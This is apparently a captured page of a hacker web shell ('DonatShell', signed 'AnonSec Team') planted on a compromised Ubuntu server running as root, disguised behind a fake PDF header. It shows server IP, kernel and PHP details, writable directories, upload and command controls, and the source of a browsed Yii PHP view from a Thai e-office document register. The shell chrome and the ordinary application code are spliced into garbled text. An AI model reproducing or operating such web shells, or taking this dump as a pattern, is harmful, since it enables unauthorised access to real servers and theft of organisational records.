%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/theme/metronic/site/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/theme/metronic/site/dispatchs.php
<?php
use yii\helpers\Html;
use kartik\grid\GridView;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use backend\modules\dispatchdata\models\Dispatchs;
use yii\widgets\Pjax;
use yii\widgets\ActiveForm;
use backend\modules\departments\models\Departments;
$backend = Yii::getAlias('@back');
$this->title = 'ระบบทะเบียนหนังสือรับภายนอก';
?>
<?php
$gridColumns = [
    [
        'class' => 'kartik\grid\SerialColumn',
        'contentOptions' => ['class' => 'kartik-sheet-style'],
        'width' => '36px',
        'header' => '',
        'headerOptions' => ['class' => 'kartik-sheet-style']
    ],
    [
        'attribute' => 'dispatch_num',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchs/dispatchs/update?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'booknum',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchs/dispatchs/update?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'from_dis',
        'vAlign' => 'middle',
        'width' => '250px',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer;max-width:150px;overflow: auto; white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchs/dispatchs/update?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'to_dis',
        'width' => '100px',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchs/dispatchs/update?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'subject',
        'width' => '400px',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchs/dispatchs/update?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'departments_id',
        'filter' => ArrayHelper::map(Departments::find()->all(), 'id', 'name'),
        'value' => function($model) {
            return $model->departments->name;
        },
        'vAlign' => 'middle',
        'width' => '150px',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchs/dispatchs/update?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'dateon',
        'hAlign' => 'center',
        'width' => '200px',
        'vAlign' => 'middle',
        'xlFormat' => "mmm\\-dd\\, \\-yyyy",
        'format' => 'html',
        'filterType' => GridView::FILTER_DATE,
        'filterWidgetOptions' => (
        [
            'model' => $searchModel,
            'type' => 2,
            'attribute' => 'dateon',
            'convertFormat' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-MM-dd',
            ],
        ]
        ),
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: center;cursor:pointer;',
                'name' => 'modal-circular-view-button',
                'id' => $model['id'],
                'onclick' => 'window.location.href = "/dispatchdata/dispatch-data/update?id="+(this.id)',
            ];
        },
        'value' => function ($model) {
            return Yii::$app->thaiFormatter->asDate($model->dateon, 'long');
        },
    ],
    [
        'class' => 'kartik\grid\FormulaColumn',
        'header' => '<i class="m-menu__link-icon flaticon-file"></i>',
        'vAlign' => 'middle',
        'format' => 'raw',
        'value' => function ($model) {
            if ($model->filename != null) {
                return Html::a('<i class="m-menu__link-icon flaticon-file"></i>', ['@web/files/' . $model->filename], [
                            'data-pjax' => '0',
                            'target' => '_blank',
                            'data-toggle' => 'tooltip',
                            'title' => 'ไฟล์เอกสาร'
                ]);
            } else {
                return '-';
            }
        },
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'hAlign' => 'center',
        'mergeHeader' => true,
    ],
];
?>
<div class="site-index">
    <div class="body-content">
        <h1 class="header-title"><?= Html::encode($this->title) ?></h1>
        <div class="m-portlet m-portlet--mobile">
            <?php yii\widgets\Pjax::begin(['id' => 'grid-user-pjax', 'timeout' => 5000]) ?>
            <?=
            GridView::widget([
                'id' => 'grid-circular',
                'dataProvider' => $dataProvider,
                'filterModel' => $searchModel,
                'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                'layout' => "{items}\n{pager}",
                'showPageSummary' => false,
                'panelTemplate' => '
                        <div class="panel {type}">
                            <div class="pull-right">
                                <div class="btn-toolbar kv-grid-toolbar" role="toolbar">
                                    {toolbar}
                                </div>    
                            </div>
                            <div class="clearfix"></div>
                            {items}
                            <div class="kv-panel-pager">
                                {pager}
                            </div>
                            <div class="clearfix"></div>
                        </div>',
                'pjax' => true,
                'pjaxSettings' => [
                    'neverTimeout' => true,
                    'enablePushState' => true,
                    'options' => ['id' => 'CircularGrid'],
                ],
                'pager' => [
                    'firstPageLabel' => 'หน้าแรก',
                    'lastPageLabel' => 'หน้าสุดท้าย'
                ],
                'toolbar' => [
                    '{export}',
                    '{toggleData}'
                ],
                'export' => [
                    'label' => 'ดาว์โหลดเอกสาร',
                    'fontAwesome' => true,
                    'showConfirmAlert' => false,
                    'target' => \kartik\grid\GridView::TARGET_BLANK
                ],
                'exportConfig' => [
                    \kartik\grid\GridView::EXCEL => false,
                ],
                'responsive' => true,
                'responsiveWrap' => false,
                'hover' => true,
                'headerRowOptions' => ['class' => 'header-table-center',],
                'columns' => $gridColumns,
                'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
            ]);
            ?>
            <?php yii\widgets\Pjax::end() ?>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team